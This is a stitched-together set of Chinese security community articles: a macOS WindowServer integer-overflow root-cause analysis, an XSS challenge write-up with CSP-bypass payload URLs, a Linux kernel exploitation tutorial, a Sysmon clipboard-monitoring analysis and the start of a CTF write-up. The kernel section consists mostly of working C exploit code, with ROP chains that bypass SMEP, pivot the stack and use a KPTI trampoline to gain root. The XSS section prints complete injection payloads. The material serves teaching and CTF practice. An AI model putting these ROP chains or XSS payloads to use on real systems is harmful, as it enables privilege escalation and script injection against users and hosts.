## 漏洞根源分析
这一部分使用LLDB来动态分析该漏洞来确定漏洞的根源。
**注** ：需要通过SSH模式调试WindowServer进程。
基于日志中奔溃的线程分析，研究人员对函数`CA::Render::Server::ReceivedMessage::run_command_stream`使用以下命令设置条件断点：
`conn_id`的值可以通过在POC代码的86行设置断点来实现。
在断点处，可以通过发送的围绕的Mach消息的缓冲数据。寄存器`r13`指向伪造的Mach消息。
图2 CARenderServer接收的伪造的Mach消息
函数`CA::Render::Decoder::decode_object(CA::Render::Decoder *this,
CA::Render::Decoder *a2)`可以用来解码所有类型对象数据。缓存数据是从下图中的`0x70000907dd52`处开始的。
图3. 有异常Image对象的伪造的Mach消息
下面的代码用来对函数`CA::Render::Decoder::decode_object`中的Image对象进行分析。
图4. 处理Image对象数据的代码
下面分析Image对象被处理的过程。
下图是函数`CA::Render::Image::decode()`的代码，研究人员在其中添加了部分注释。
图5.函数CA::Render::Image::decode()
可以看出offset`0x70000907dd52`出的`0x06`变成了`0x86`，所以变量`v4`就等于`0x86`。然后程序会跳转到`LABEL_31`来自行其他分支代码，因为变量`v4`要比`0x20`大。在`LABEL_31`的最后，程序会继续调用函数`CA::Render::Texture::decode(CA::Render::Texture
*this, CA::Render::Decoder *a2)`来处理表示Texture对象的数据。
图6. 函数CA::Render::Texture::decode
研究人员发现它可以调用函数`CA::Render::Decoder::decode_shape`来处理`Shape`对象数据。
图7. 函数CA::Render::Decoder::decode_shape
可以看出变量`v2`等于`0x02`。然后分配缓存大小为8字节。最后，调用函数`CA::Render::Decoder::decode_bytes`来解码数据的其他字节。该函数有3个参数，第二个指向`malloc_zone_malloc`函数分配的缓冲区，第3个是类型`size_t`，可以通过表达式`4LL
* v2 –
12`来进行计算，这会在结果等于`0xfffffffffffffffc`时产生政府溢出。当调用函数`bzero()`时，它的第一个参数指向一个更小的缓冲区，但是第二个参数是个超大的64位无符号整数，会导致内存破坏。
图8. 函数CA::Render::Decoder::decode_bytes
所以该漏洞是根源在于对函数`CA::Render::Decoder::decode_shape`缺乏限制范围检查。
下面介绍下apple公司是如何修复该漏洞的：
图9. 漏洞修复前后比较
## 总结
该漏洞存在于函数`CA::Render::Decoder::decode_shape()`处理shape对象时，漏洞主要原因是没有对输入进行验证。通过比较修复前后，可以看出该问题是通过改善输入验证来解决的。该漏洞影响macOS
Mojave 10.14.2和macOS Mojave 10.14.3。 | 社区文章 |
**前言**
之前发了《一些BAT的XSS实例》系列的6篇技术文章，很多朋友表示看的意犹未尽，问我还有没有续集。刚好最近gainover和香草发了我了几个题说挺有意思，我就去试了试，结果一道都没做出来。后来看了答案后，感觉的确很有意思，所以将题目部分做了下修改，来作为该系列的续集，进行下思路的分享。
先把设计的几个题目发出来
http://px1624.sinaapp.com/test/xsstest13/
http://px1624.sinaapp.com/test/xsstest14/
http://px1624.sinaapp.com/test/xsstest15/
http://px1624.sinaapp.com/test/xsstest16/
其中14题是gainover设计的那个原题，在上一篇《一些BAT的XSS实例（七）技巧篇》已经做了非常详细的技术讲解和剖析。
另外3个题是，根据香草设计的题的解题思路，做了些改动，上篇中在分析13题的时候，也提到了这里主要是考的CSP的相关知识。
有兴趣的朋友，可以先不看文章，自己尝试的做一做题目，有答案的话可以发到我的邮箱 [email protected]
并附上自己的ID，说不定下篇文章里面就会有你的绕过思路被收录了额。
**首先是13题，先看下源码。**
上一篇《一些BAT的XSS实例（七）技巧篇》中，已经进行了一定的分析，前面相关的重叠部分，这里就不在详细叙述了。
下面继续说思路，从这个px.js的源码中我们可以发现，需要传入的参数是sss，所以我们给url传个sss参数进去。
发现貌似什么都没有过滤，那么传个xss代码进去试试。
发现不管怎么写，代码都可以直接写进去，但是就是不弹窗。很多人可能就会很郁闷，这什么bug啊，明明写进去了，但是为什么就是不执行，这时候可能就很奇怪了，Why?
我们还是去看下控制台的报错信息吧：
其实是因为我设计题目的时候，在服务器端部署了CSP规则，这也就是题目的第二个考点，什么是CSP，可以百度了解下。
也可以参考这里：<https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP>
或者这里：<http://www.ruanyifeng.com/blog/2016/09/csp.html>
也就是说有了这个限制，这里的脚本就只能加载当前域名的资源，其他外部资源，以及内联脚本，以及onxxx这种就全部不能用了。这也就是为什么上面的情况，明明看着是写入了脚本代码，但是却无法执行的原因了。
那么有人会问，我怎么看这里是不是有部署CSP规则？
CSP规则的部署一般有3个位置，一个是meta标签里。像下图这样
还有一种是在iframe标签里，像这样
还有一种是在php端部署的，我这个题就是在php端写的。
php端写的这种CSP规则，直接源码是看不到的，可以去抓包在返回数据的header头中看到。
上面原理讲明白了，下面就继续看下这个题怎么去解吧。原理也说的很明白，部署了这个CSP，就只能去加载当前域名的资源，那么我们就需要找一个当前域名的资源去加载。现在在想想一开始跳转过去的那个地址，不是可以写入任意7位字符么，这不就是一个当前域名的可控资源么。
所以构造下代码如下：
http://px1624.sinaapp.com/test/xsstest13/?sss=111%3Cscript%20src=px.php?callback=alert()%3E%3C/script%3E
成功弹窗，但是这里要求alert(13)才行，这样就超出7个字符了，怎么办？
是不是想到了第六题的那个思路了。
但是其实这样是不行的，因为这里并没有用jq。但是其实这个问题也不难解决，我们可以写入2个script标签去构造。具体构造后的payload如下：
http://px1624.sinaapp.com/test/xsstest13/?sss=111%3Cscript%20src=px.php?callback=a=alert%3E%3C/script%3E%3Cscript%20src=px.php?callback=a(13)%3E%3C/script%3E
**如果上面内容都消化掉了，下面接着再看看第15题。**
15题是13题的升级，字符长度从7个字符限制到了6个字符，但是CSP规则放开了eval的使用，其他代码都是一样的。
这样的限制会导致的问题就是，上面的方法不能用了。因为a=alert
这样是7个字符，那么就要寻找别的方法，这里给出了eval，所以思路是拼接后赋值，这个技巧在前面的相关技术文章中也有提到过。
用这样的思路，答案也就比较多样了，这里给出几个答案。
<iframe name='alert(15)' src='http://px1624.sinaapp.com/test/xsstest15/?sss=%3Cscript+src=%22px.php?callback=a=eval%22%3E%3C/script%3E%3Cscript+src=%22px.php?callback=b=name%22%3E%3C/script%3E%3Cscript+src=%22px.php?callback=a(b)%22%3E%3C/script%3E'></iframe>
这里用iframe嵌套，然后引入name去全局变量去中转，最终等于执行了eval(name)代码，然后name中可以写入任意字符串。
http://px1624.sinaapp.com/test/xsstest15/?sss=11%%3Cscript/src=px.php?callback=a=`al`%3E%3C/script%3E%3Cscript/src=px.php?callback=b=`er`%3E%3C/script%3E%3Cscript/src=px.php?callback=c=`t(`%3E%3C/script%3E%3Cscript/src=px.php?callback=d=`15`%3E%3C/script%3E%3Cscript/src=px.php?callback=e=`)`%3E%3C/script%3E%3Cscript/src=px.php?callback=f=a%252Bb%3E%3C/script%3E%3Cscript/src=px.php?callback=g=c%252Bd%3E%3C/script%3E%3Cscript/src=px.php?callback=h=f%252Bg%3E%3C/script%3E%3Cscript/src=px.php?callback=i=h%252Be%3E%3C/script%3E%3Cscript/src=px.php?callback=j=eval%3E%3C/script%3E%3Cscript/src=px.php?callback=c=j(i)%3E%3C/script%3E
这个思路就是一步步的赋值，拼接出一个`"alert(15)"`字符串，最终在eval执行。这里需要注意的是 +
加号这个需要url编码2次，因为一次是在浏览器的url里，一次是在script的src这里，所以需要编码2次才行。
**如果上面内容都消化掉了，就接着再看第16题。**
16题是13题和15题的升级，字符长度限制到了6个字符，而且CSP规则不允许使用eval，其他代码都是一样的。
这样的话，由于字符长度的问题，13题的方法就不行了，由于不能用eval，15题的方法也就不行了。所以需要有一个新的构造思路，首先要确定下思路，就是怎么样通过构造变形，将字符串变为函数，如果这点解决不了，那么这题就没办法推进了，如果你只知道eval这类方法，那么这个题基本上就到此为止了。
那么具体怎么在不用eval的情况下，把字符串变为函数呢，这里给出几种方法，思路都是一样的。
这样的方法，可以将alert函数给构造出来，具体自己去试试就知道了。
所以我们的构造思路是这样，先赋值a=this
然后拼接`"alert"`字符串，一边拼接一边赋值，最终达到`b="alert"`字符串的效果，然后c=a[b]
这样c就是alert函数了，最后执行c(16)即可。
这里给出几个paylod思路
<iframe name='alert' src='http://px1624.sinaapp.com/test/xsstest16/?sss=%3Cscript+src=%22px.php?callback=a=name%22%3E%3C/script%3E%3Cscript+src=%22px.php?callback=b=this%22%3E%3C/script%3E%3Cscript+src=%22px.php?callback=c=b[a]%22%3E%3C/script%3E%3Cscript+src=%22px.php?callback=c(16)%22%3E%3C/script%3E'></iframe>
http://px1624.sinaapp.com/test/xsstest16/?sss=%3Cscript+src=%22px.php?callback=a=%27al%27%22%3E%3C/script%3E%3Cscript+src=%22px.php?callback=a%252b=%27e%27%22%3E%3C/script%3E%3Cscript+src=%22px.php?callback=a%252b=%27r%27%22%3E%3C/script%3E%3Cscript+src=%22px.php?callback=a%252b=%27t%27%22%3E%3C/script%3E%3Cscript+src=%22px.php?callback=b=self%22%3E%3C/script%3E%3Cscript+src=%22px.php?callback=c=b[a]%22%3E%3C/script%3E%3Cscript+src=%22px.php?callback=c`16`%22%3E%3C/script%3E
这里再抛出一个问题，如果16题这里要求必须调用外部js文件才算通过的话，有没有办法实现呢？？
其实也是可以的，具体有兴趣的可以自己试试。
**总结：**
通过这几个案例可以看到，在我们的解法思路中，用到了CSP规则的相关知识、字符长度限制的构造技巧、字符串变函数的一些方法等。
可以看到，其实主要还是思路要对，同时基础知识要过硬，这样才能在XSS漏洞这方面做到“人挡杀人，佛挡杀佛”的操作。
**尾巴：**
截至发稿前，仅有几个人给出了部分答案，ID分别是：
香草、Huuuuu、gainover、evil7
当然，所有1~16题的构造思路并非唯一，也可欢迎其他人将自己更好更有意思的答案，发到我的邮箱 [email protected]
并附上自己的ID，说不定下篇文章里面就会有你的绕过思路被收录了额。
目前共设计有16道题，修改下方链接的xsstest1为xsstest1~xsstest16即可。
<http://px1624.sinaapp.com/test/xsstest1/>
最后发下个人的纯技术交流的 公众号：不忘初心px1624 | 社区文章 |
在Part 1部分我们关闭了所有的保护方式，包括`SMEP`、`KPTI`、`SMAP`，
本章节会逐个的开启这些保护方式，并探讨如果绕过这些机制。
#### Bypass SMEP
在Part1中，用于覆盖返回地址的函数`escalate_privs`存在userspace中，当开启SMEP时，在kernel-mode下，userspace地址被标记为`non-executable`。这一点很像userland下的`NX`保护，同样的，在userland下我们使用`ROP`，在kernelland下，有`Kernel
ROP`.
值得注意的是，`get_shell`是在由kernel-mode去换到user-mode之后完成的，因此不会受到SMEP的影响，不需要ROPchain。
##### Try To Overwrite CR4
在Part 1中提到，SMEP由CR4寄存器的20th bit控制，而在kernel-mode下，我们可以修改CR4寄存器的值，例如`mov cr4,
rax`；有一个通用的函数`native_write_cr4(value)`可以修改CR4的值为指定的value，该函数同样在kernel地址空间中
/ # cat /proc/kallsyms | grep native_write_cr4
ffffffff814443e0 T native_write_cr4
通过`ROP`构造上述函数执行，实现修改CR4寄存器。
通过`ROPgadget --binary vmlunix > gadgets.txt`获取所有的gadget，从中找到`pop rdi, ret`。
通过调试kernel或者触发崩溃可以得到正常情况下的CR4值，20th bit对应的值是`0x100000`。
[ 10.349798] CR2: ffff88800686a200 CR3: 000000000655c000 CR4: 00000000001006f0
>>> hex(1<<20)
'0x100000'
当20th bit清零后，CR4值为`0x6f0`；下面的代码即可以修改CR4
void exploit()
{
unsigned long pop_rdi_ret = 0xffffffff81006370;
unsigned long native_write_cr4 = 0xffffffff814443e0;
unsigned long payload[0x100/8];
unsigned long offset = 0x80/8;
payload[offset++] = cookie;
payload[offset++] = 0x0;
payload[offset++] = 0x0;
payload[offset++] = 0x0;
payload[offset++] = (unsigned long)pop_rdi_ret;
payload[offset++] = 0x6f0;
payload[offset++] = (unsigned long)native_write_cr4;
payload[offset++] = (unsigned long)escalate_privs;
puts("[*] Prepared payload");
size_t size = write(global_fd, payload, sizeof(payload));
puts("[!] Should never be reached");
}
但是实际上，失败了，kernel崩溃了，panic输出
[*] Prepared payload
[ 19.393575] unable to execute userspace code (SMEP?) (uid: 1000)
...
[ 19.404200] CR2: 0000000000401102 CR3: 0000000006508000 CR4: 00000000001006f0
发现CR4的值没有改动，SMEP仍然处于`enable`状态。
##### Escalation ROPchain
既然无法改写CR4禁用SMEP，就只好通过ROP的方式完成`escalate_priv`。
* ROP 构造 `prepare_kernel_cred(0)`
* ROP 构造 `commit_creds()`，以上一步的返回值为参数
* ROP 构造 `swapgs; ret`
* ROP 构造 stack setup, `RIP|CS|RFLAGS|SP|SS`
* ROP 构造 `iretq`
在导出的gadgets.txt搜索到下面的代码片段，可以完成前三个步骤的ROPchain
0xffffffff81006370 : pop rdi ; ret // 传递函数第一个参数
0xffffffff81007616 : pop rdx ; ret // 设置rdx
0xffffffff81c0f8b2 : cmp rdx, -1 ; jne 0xffffffff81c0f8a7 ; ret // rdx等于-1 不会跳转
0xffffffff8166ff23 : mov rdi, rax ; jne 0xffffffff8166fef3 ; pop rbx ; pop rbp ; ret // 受上述cmp rdx -1影响不会跳转
0xffffffff8100a55f : swapgs ; pop rbp ; ret // swapgs
但是在gadgets.txt里没有找到`iretq`指令，objdump可以发现
$ objdump -j .text -d ./vmlinux | grep iretq | head -3
ffffffff8100c0d9: 48 cf iretq
ffffffff81200fc7: 48 cf iretq
ffffffff81201485: 48 cf iretq
构造下面的exploit函数
void exploit_smep()
{
user_rip = (unsigned long)get_root_shell;
unsigned long prepare_kernel_cred = 0xffffffff814c67f0;
unsigned long commit_creds = 0xffffffff814c6410;
unsigned long pop_rdi_ret = 0xffffffff81006370;
unsigned long pop_rdx_ret = 0xffffffff81007616; // pop rdx ; ret
unsigned long cmp_rdx_jne_ret = 0xffffffff81c0f8b2; // cmp rdx, -1 ; jne 0xffffffff81c0f8a7 ; ret
unsigned long cmp_rdx_jne_pop2_ret = 0xffffffff81964cc4; // cmp rdx, 8 ; jne 0xffffffff81964cb3 ; pop rbx ; pop rbp ; ret
unsigned long mov_rdi_rax_pop2_ret = 0xffffffff8166ff23; // mov rdi, rax ; jne 0xffffffff8166fef3 ; pop rbx ; pop rbp ; ret
unsigned long swapgs_pop1_ret = 0xffffffff8100a55f; // swapgs ; pop rbp ; ret
unsigned long iretq = 0xffffffff8100c0d9;
unsigned long payload[60]; // 该值太大会覆盖其他栈帧内的cookie造成stack guard终止
unsigned long offset = 0x80/8;
payload[offset++] = cookie;
payload[offset++] = 0x0;
payload[offset++] = 0x0;
payload[offset++] = 0x0;
payload[offset++] = (unsigned long)pop_rdi_ret;
payload[offset++] = 0x00;
payload[offset++] = (unsigned long)prepare_kernel_cred;
payload[offset++] = (unsigned long)pop_rdx_ret;
payload[offset++] = 8;
payload[offset++] = cmp_rdx_jne_pop2_ret;
payload[offset++] = 0;
payload[offset++] = 0;
payload[offset++] = mov_rdi_rax_pop2_ret;
payload[offset++] = 0x0;
payload[offset++] = 0x0;
payload[offset++] = commit_creds;
payload[offset++] = swapgs_pop1_ret; // swapgs ; pop rbp ; ret
payload[offset++] = 0x0; //
payload[offset++] = iretq; // iretq
payload[offset++] = user_rip;
payload[offset++] = user_cs;
payload[offset++] = user_rflags;
payload[offset++] = user_sp;
payload[offset++] = user_ss;
puts("[*] Prepared payload");
size_t size = write(global_fd, payload, sizeof(payload));
puts("[!] Should never be reached");
}
##### stack pivoting
在userland的漏洞利用中，如果栈溢出长度只能够覆盖到返回地址而无法完全构造整个ROPchain时，一个有效的构造手段就是`stack
pivot`，需要修改`rsp`到可控的地址（提前布置一个fake stack）。
在userland中，并需要修改保存的`rbp`，通过`leave`类的指令间接地修改`rsp`。
在kernel-mode下，该方法实现更容易，因为有大量的gadget可以使用。最常用的就是可以直接修改`rsp/esp`的指令，只要保证值是页对齐的就合适。例如：
0xffffffff8196f56a : mov esp, 0x5b000000 ; pop r12 ; pop rbp ; ret
由于`esp`将变为`0x5b000000`，我们可以在该地址映射可执行的page，提前写入ROPchain，溢出时只需要覆盖返回地址即可执行ROPchain。
void stack_pivot()
{
user_rip = (unsigned long)get_root_shell;
unsigned long prepare_kernel_cred = 0xffffffff814c67f0;
unsigned long commit_creds = 0xffffffff814c6410;
unsigned long pop_rdi_ret = 0xffffffff81006370;
unsigned long pop_rdx_ret = 0xffffffff81007616; // pop rdx ; ret
unsigned long cmp_rdx_jne_ret = 0xffffffff81c0f8b2; // cmp rdx, -1 ; jne 0xffffffff81c0f8a7 ; ret
unsigned long cmp_rdx_jne_pop2_ret = 0xffffffff81964cc4; // cmp rdx, 8 ; jne 0xffffffff81964cb3 ; pop rbx ; pop rbp ; ret
unsigned long mov_rdi_rax_pop2_ret = 0xffffffff8166ff23; // mov rdi, rax ; jne 0xffffffff8166fef3 ; pop rbx ; pop rbp ; ret
unsigned long swapgs_pop1_ret = 0xffffffff8100a55f; // swapgs ; pop rbp ; ret
unsigned long iretq = 0xffffffff8100c0d9;
unsigned long *fake_stack = mmap((void*)(0x5b000000 - 0x1000), 0x2000, PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED, -1, 0);
unsigned offset = 0x1000 / 8; // ROPchain in second page
fake_stack[0] = 0xdead; // write first page to prevent fault
fake_stack[offset++] = 0x0; // r12
fake_stack[offset++] = 0x0; // rbp
fake_stack[offset++] = (unsigned long)pop_rdi_ret;
fake_stack[offset++] = 0x00;
fake_stack[offset++] = (unsigned long)prepare_kernel_cred;
fake_stack[offset++] = (unsigned long)pop_rdx_ret;
fake_stack[offset++] = 8;
fake_stack[offset++] = cmp_rdx_jne_pop2_ret;
fake_stack[offset++] = 0;
fake_stack[offset++] = 0;
fake_stack[offset++] = mov_rdi_rax_pop2_ret;
fake_stack[offset++] = 0x0;
fake_stack[offset++] = 0x0;
fake_stack[offset++] = commit_creds;
fake_stack[offset++] = swapgs_pop1_ret; // swapgs ; pop rbp ; ret
fake_stack[offset++] = 0x0; //
fake_stack[offset++] = iretq; // iretq
fake_stack[offset++] = user_rip;
fake_stack[offset++] = user_cs;
fake_stack[offset++] = user_rflags;
fake_stack[offset++] = user_sp;
fake_stack[offset++] = user_ss;
unsigned long payload[60];
unsigned long off = 0x80/8;
payload[off++] = cookie;
payload[off++] = 0x0;
payload[off++] = 0x0;
payload[off++] = 0x0; // only overwrite return address
payload[off++] = 0xffffffff8196f56a; // mov esp, 0x5b000000 ; pop r12 ; pop rbp ; ret
puts("[*] Prepared payload");
size_t size = write(global_fd, payload, sizeof(payload));
puts("[!] Should never be reached");
}
构造fake_stack时需要注意的几点
* mmap两个pages，从`0x5b000000 - 0x1000`开始而不是`0x5b000000`，这是因为在fake_stack里执行的函数会导致栈生长，如果`esp`指向page的起始地址，可能导致fake_stack栈空间不足，异常结束。
* 第一个空白页，我们需要写入一个dirty值，否则导致`Double Fault`，
[ 44.010031] traps: PANIC: double fault, error_code: 0x0
[ 44.010827] double fault: 0000 [#1] SMP NOPTI
这是由于page在mapped之后并不会立即插入page
table，而是在被写入之后。所以尽管ROPchain在第二个page，第一个page也需要一次写入。
#### ByPass KPTI
##### Page Table
每一个进程都有一个指向进程自身的页表，由CR3寄存器指定。
##### KPTI
Kernel Page-table isolation，该机制引入kernel防止`meltdown`攻击，在userland没有类似的机制。
如果没有KPTI，从kernel-mode切换到user-mode时，Linux会在其页表中保存整个内核内存的映射，这样做的优点是当应用程序向内核发送系统调用或者接收到中断时，内核页表始终存在，可以避免大多数上下文切换的开销。
开启KPTI后，userland页表只有部分内核映射（用于中断入口出口），而避免了内核页表的泄漏。
##### bypass
在开启KPTI的情况下，目前为止得到所有exploit都将造成`crash`，有趣的是该crash是在userland常见的`Segmentation
fault`。
/ $ ./exploit
[*] Saved state
[*] Opened device
[*] Leak 160 bytes
[*] Cookie: 0x6e0d7bffd02b0400
[*] Prepared payload
Segmentation fault
这是由于尽管回到了user-mode，page-tables依然是kernel-mode的（并没有主动交换页表），在`kernel-mode`下userland的pages是不可执行的。
绕过KPTI的两种常见方法：
* 使用`signal handler`：这种方法很简单，机智。原理这个崩溃导致userland处理`SIGSEGV`信号，我们可以为它注册一个信号处理句柄，只需要在main函数中加上以下简单的语句
signal(SIGSEGV, get_root_shell);
疑惑地是，即使作为`handler`，`get_root_shell`函数依然是在不可执行的页面上。
* KPTI trampoline：基于的理论是“如果一个syscall正常返回，那么内核中一定有一段代码会将page tables交换回userland，因此我们可以利用这段代码达到目的。这段代码称为`KPTI trampoline`，它的作用就是交换page tables, `swapgs`和`iretq`。
这段代码所在的函数是`swapgs_restore_regs_and_return_to_usermode()`，在`/proc/kallsyms`中一样可以找到其地址。
/ # cat /proc/kallsyms | grep swapgs_restore_regs_and_return_to_usermode
ffffffff81200f10 T swapgs_restore_regs_and_return_to_usermode
该函数的起始部分代码
.text:FFFFFFFF81200F10 pop r15
.text:FFFFFFFF81200F12 pop r14
.text:FFFFFFFF81200F14 pop r13
.text:FFFFFFFF81200F16 pop r12
.text:FFFFFFFF81200F18 pop rbp
.text:FFFFFFFF81200F19 pop rbx
.text:FFFFFFFF81200F1A pop r11
.text:FFFFFFFF81200F1C pop r10
.text:FFFFFFFF81200F1E pop r9
.text:FFFFFFFF81200F20 pop r8
.text:FFFFFFFF81200F22 pop rax
.text:FFFFFFFF81200F23 pop rcx
.text:FFFFFFFF81200F24 pop rdx
.text:FFFFFFFF81200F25 pop rsi
.text:FFFFFFFF81200F26 mov rdi, rsp
.text:FFFFFFFF81200F29 mov rsp, qword ptr gs:unk_6004
.text:FFFFFFFF81200F32 push qword ptr [rdi+30h]
.text:FFFFFFFF81200F35 push qword ptr [rdi+28h]
.text:FFFFFFFF81200F38 push qword ptr [rdi+20h]
.text:FFFFFFFF81200F3B push qword ptr [rdi+18h]
.text:FFFFFFFF81200F3E push qword ptr [rdi+10h]
.text:FFFFFFFF81200F41 push qword ptr [rdi]
.text:FFFFFFFF81200F43 push rax
.text:FFFFFFFF81200F44 jmp short loc_FFFFFFFF81200F89
通过`pop`从栈上恢复大量寄存器，这一部分会增加ROPchain的负载，因此我们这里的`kpti_trampoline`只从`pop`之后的第一条指令的位置，即`func+22`位置。
该函数里最关键的代码
.text:FFFFFFFF81200F89 loc_FFFFFFFF81200F89: ; CODE XREF: sub_FFFFFFFF812010D0-18C↑j
.text:FFFFFFFF81200F89 pop rax
.text:FFFFFFFF81200F8A pop rdi
.text:FFFFFFFF81200F8B call cs:off_FFFFFFFF82040088
.text:FFFFFFFF81200F91 jmp cs:off_FFFFFFFF82040080
.....
.data:FFFFFFFF82040088 off_FFFFFFFF82040088 dq offset sub_FFFFFFFF8146D4E0
.data:FFFFFFFF82040080 off_FFFFFFFF82040080 dq offset sub_FFFFFFFF81200FC0
.....
.text.native_swapgs:FFFFFFFF8146D4E0 sub_FFFFFFFF8146D4E0 proc near ; CODE XREF: sub_FFFFFFFF8100A540+E↑p
.text.native_swapgs:FFFFFFFF8146D4E0 ; sub_FFFFFFFF8100A570+17↑p ...
.text.native_swapgs:FFFFFFFF8146D4E0 push rbp
.text.native_swapgs:FFFFFFFF8146D4E1 mov rbp, rsp
.text.native_swapgs:FFFFFFFF8146D4E4 swapgs
.text.native_swapgs:FFFFFFFF8146D4E7 pop rbp
.text.native_swapgs:FFFFFFFF8146D4E8 retn
.text.native_swapgs:FFFFFFFF8146D4E8 sub_FFFFFFFF8146D4E0 endp
...
.text:FFFFFFFF81200FC0 test byte ptr [rsp+arg_18], 4
.....
.text:FFFFFFFF8120102E mov rdi, cr3
.text:FFFFFFFF81201031 jmp short loc_FFFFFFFF81201067
.text:FFFFFFFF81201033 ; ------------------------------------------------------ .text:FFFFFFFF81201067 loc_FFFFFFFF81201067: ; CODE XREF: sub_FFFFFFFF81200FC0+71↑j
.text:FFFFFFFF81201067 or rdi, 1000h
.text:FFFFFFFF8120106E mov cr3, rdi
....
.text:FFFFFFFF81200FC7 iretq
`swapgs`用于切换kernel-mode和user-mode的GS寄存器
`mov rdi, cr3; or rdi, 0x1000; mov cr3, rdi;`代码段用于切换CR3寄存器。
`iretq`切换到user-mode。
因此，利用该函数的代码片段即可以完成`swapgs; swap page tables; iretq`等操作，构造的`payload`如下
...
payload[offset++] = commit_creds;
payload[offset++] = kpti_trampoline;
payload[offset++] = 0x0;
payload[offset++] = 0x0;
payload[offset++] = user_rip;
payload[offset++] = user_cs;
payload[offset++] = user_rflags;
payload[offset++] = user_sp;
payload[offset++] = user_ss;
....
也可以利用gadget执行交换page tables的操作，有同样的效果，这是这个函数内集成了多个gadget序列，比较便利。
这种方式可以绕过KPTI策略。
/ $ ./exploit
[*] Saved state
[*] Opened device
[*] Leak 160 bytes
[*] Cookie: 0x14324065f2932600
[*] Prepared payload
[*] Returned to userland
[*] UID: 0, got root priv
/ # id
uid=0 gid=0
#### Bypass SMAP
同SMEP类似，当进程在kernel-mode下时，userspace的地址空间标记为不可读、不可写。
显然，通过ROPchain的方式绕过SMEP的策略也适用于绕过SMAP（结合绕过KPTI的策略）
参考
[WIKI-内核页表隔离](https://zh.wikipedia.org/wiki/%E5%86%85%E6%A0%B8%E9%A1%B5%E8%A1%A8%E9%9A%94%E7%A6%BB)
[2021: "Learning Linux Kernel
Exploitation"](https://lkmidas.github.io/posts/20210123-linux-kernel-pwn-part-1/) [article] [[part 2](https://lkmidas.github.io/posts/20210128-linux-kernel-pwn-part-2/)] [[part 3](https://lkmidas.github.io/posts/20210205-linux-kernel-pwn-part-3/)] | 社区文章 |
# 微软轻量级工具Sysmon新功能剪切板Change事件
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
Sysmon的最新版本增加一个事件id： 24 剪切板事件，sysmon的官网描述如下
<https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon>
如果要开启这个功能可以进行简单的配置文件，内容如下:
`<EventFiltering>`
`<!-- Log all drivers except if the signature -->`
`<!-- contains Microsoft or Windows -->`
`<!-- Do not log process termination -->`
`<ClipboardChange onmatch="exclude" />`
`</EventFiltering>`
输入命令行：
**Sysmon64.exe -c “new 1.xml”** 打开更新规则
然后我们打开windows事件日志记录就可以看到剪切板的记录事件了,事件id值是24
查看详细信息
SYSMONSCHEMA.XML描述该事件的进程参数
多两条参数配置信息
`<option switch="z" name="ClipboardInstance" argument="required"
noconfig="true" exclusive="true" />`
`<option name="CaptureClipboard" argument="none" />`
SYSMONSCHEMA.XML描述该事件规则上报结构
`<event name="SYSMONEVENT_CLIPBOARD" value="24" level="Informational"
template="Clipboard changed" rulename="ClipboardChange" version="5">`
`<data name="RuleName" inType="win:UnicodeString" outType="xs:string" />`
`<data name="UtcTime" inType="win:UnicodeString" outType="xs:string" />`
`<data name="ProcessGuid" inType="win:GUID" />`
`<data name="ProcessId" inType="win:UInt32" outType="win:PID" />`
`<data name="Image" inType="win:UnicodeString" outType="xs:string" />`
`<data name="Session" inType="win:UInt32" />`
`<data name="ClientInfo" inType="win:UnicodeString" outType="xs:string" />`
`<data name="Hashes" inType="win:UnicodeString" outType="xs:string" />`
`<data name="Archived" inType="win:UnicodeString" outType="xs:string" />`
`</event>`
上报事件id: 24, 事件字段：UtcTime、ProcessGuid、ProcessId、Image、Session、Hashes、ClientInfo
了解了该事件的大概的情况的后，我们就要开始分析sysmon监测该事件的原理方法。
## 1\. 开关打开剪切板开关后就会运行Start函数
## 2\. StartClipboardListening
###
**（1）先获取两个与剪切板监控相关的函数AddClipboardFormatListener、RemoveClipboardFormatListener的函数地址**
### **（2）创建一个窗口来监控剪切板**
窗口的类名: L”smclip”;
窗口函数WinMonitorClipBoard
### **（3）窗口回调函数WinMonitorClipBoard的逻辑**
**1> WM_CREATE消息**
WM_CREATE是窗口的创建消息，sysmon在WM_CREATE的时候会调用AddClipboardFormatListener(HWND),该函数的作用是指定哪个窗口有资格去捕捉剪贴板内容更新的消息。然后调用hWndNewNext
= SetClipboardViewer(a1); SetClipboardViewer()也是监控剪切板事件的设置函数，把当前窗口假如的监控队列里。
**2> WM_DRAWCLIPBOARD 剪切板内容变化事件**
当发生这个消息的时候，sysmon
就回调用GetClipboardSequenceNumber函数获取当前窗体在剪切板链下的序列号,调用GetPriorityClipboardFormat获取在一个列表下某个索引的剪切板格式
它要获取的是三种格式： CF_TEXT 、 CF_WAVE 、CF_OEMTEXT
接下来就尝试打开剪切板并且获取剪切板里的数据
获要获取的就是上述三种格式的数据，获取数据后就计算数据的hash。
为了补充信息，sysmon还会通过GetClipboardOwner获取当前剪切板改变的窗口句柄，然后通过GetWindowThreadProcessId函数获取该窗口的线程以及进程。
**3 > WM_CHANGECBCHAIN 监控链改变的消息**
这个消息是当有新的监控程序加入或移出，那么就会给这个链表中每个程序发送一个消息WM_CHANGECBCHAIN,
sysmon遇到有这个发生的时候会判断是否是自己的消息被移除,了,就把自己再加回来了。
**4> WM_CLIPBOARDUPDATE 剪切板更新消息**
这个消息是AddClipboardFormatListener消息带来的，Sysmon的处理逻辑与WM_DRAWCLIPBOARD一样。
**5> WM_QUIT 退出消息**
退出就销毁当前监控。
sysmon的监控逻辑就这么简单，下面可以自己尝试写一个demo，可以建立一个MFC的窗口程序，窗口初始化的时候调用AddClipboardFormatListener
窗体里继承映射WM_DRAWCLIPBOARD 和 消息
`afx_msg void OnDrawClipboard();`
`afx_msg void OnClipboardUpdate();`
`BEGIN_MESSAGE_MAP(CForbidCapDlg, CDialogEx)`
`ON_WM_DRAWCLIPBOARD()`
`ON_WM_CLIPBOARDUPDATE()`
`END_MESSAGE_MAP()`
当我在其他进程鼠标右键复制操作一下，监控程序就会进入OnClipboardUpdate
Demo实例成功，至此，这篇文章就分析到这里，剪切板的监控就这么简单，大家有兴趣可以自行研究的更深入。 | 社区文章 |
# 2018 海南省大学生网络安全攻防竞赛部分 WriteUp
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 Welcome
签到题。查看源码，拿到 flag
## 0x01 code php
无提示，御剑扫描拿到index.php2（确实挺坑的）
